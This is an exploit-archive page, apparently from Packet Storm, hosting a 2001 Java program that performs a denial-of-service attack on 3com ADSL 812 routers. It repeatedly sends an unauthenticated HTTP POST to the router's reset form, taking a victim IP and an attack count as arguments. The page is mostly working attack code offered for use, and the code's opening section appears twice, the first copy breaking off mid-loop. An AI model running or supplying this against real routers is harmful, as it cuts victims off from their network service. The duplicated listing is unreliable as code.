exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

DoSadsl812.java

DoSadsl812.java
Posted Sep 11, 2001
Authored by Magnetic

Denial of service attack against a 3com ADSL 812 router in Java. Resets the router without any password, as described here.

tags | exploit, java, denial of service
SHA-256 | d2792e361535aff3141ac4bf948fa9e4f4c5ce5511f168232427b077a1eb4325

DoSadsl812.java

Change Mirror Download
// Denial Of Service for 3com ADSL 812 router
// You can reset ADSL router without password
// Vulnerability description: http://www.securityfocus.com/archive/1/184665
// usage : java DoSadsl server
// by mAgnEtIc

import java.net.*;
import java.io.*;

public class DoSadsl812 {



public static void main(String[] args) {

int port = 80;
int delay= 18000;//time to sleep while router is down
int loops=100;//number of
int i;
String server = "localhost";
Socket socket = null;
String lineToBeSent;
BufferedReader input;
PrintWriter output;
int ERROR = 1;

// read arguments
if(args.length == 2) {
server = args[0];
loops =Integer.parseInt(args[1]);
}
else{
System.out.println("Usage: java DoSadsl812 ip_victim number_attacks\n\nmAgNeTiC 2K+1\nGreetings to www.eupla.org");
System.exit(ERROR);
}
for (i=0;i<loops;i++)
{

// connect to server
try {
socket = new Socket(server, port);
System.out.println("Socket Created " +
socket.getInetAddress() +
":" + socket.getPort());
}
catch (UnknownHostException e) {
System.out.println(e);
System.exit(ERROR);
}
catch (IOException e) {
System.out.println("mmm, i think is a not vulnerable router xDD");
System.exit(ERROR);
}
// Denial Of Service for 3com ADSL 812 router
// You can reset ADSL router without password
// Vulnerability description: http://www.securityfocus.com/archive/1/184665
// usage : java DoSadsl server
// by mAgnEtIc

import java.net.*;
import java.io.*;

public class DoSadsl812 {



public static void main(String[] args) {

int port = 80;
int delay= 18000;//time to sleep while router is down
int loops=100;//number of
int i;
String server = "localhost";
Socket socket = null;
String lineToBeSent;
BufferedReader input;
PrintWriter output;
int ERROR = 1;

// read arguments
if(args.length == 2) {
server = args[0];
loops =Integer.parseInt(args[1]);
}
else{
System.out.println("Usage: java DoSadsl812 ip_victim number_attacks\n\nmAgNeTiC 2K+1\nGreetings to www.eupla.org");
System.exit(ERROR);
}
for (i=0;i<loops;i++)
{

// connect to server
try {
socket = new Socket(server, port);
System.out.println("Socket Created " +
socket.getInetAddress() +
":" + socket.getPort());
}
catch (UnknownHostException e) {
System.out.println(e);
System.exit(ERROR);
}
catch (IOException e) {
System.out.println("mmm, i think is a not vulnerable router xDD");
System.exit(ERROR);
}
lineToBeSent=new String("POST /Forms/adsl_reset HTTP/1.1\n"
+"Host: " + server +"\n"
+"Connection: close\nContent-Length: 19\n\n"
+"Submit=Reset%20Line\n");

System.out.println("\nPOSTing xploit....\n");
try {
output = new PrintWriter(socket.getOutputStream(),true);

output.println(lineToBeSent);
}
catch (IOException e) {
System.out.println(e);
}


try {
Thread.sleep(delay);
} catch(InterruptedException e) { }

System.out.println("Wake Up\n");
try {
socket.close();
}
catch (IOException e) {
System.out.println(e);
}

}//efor
}
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close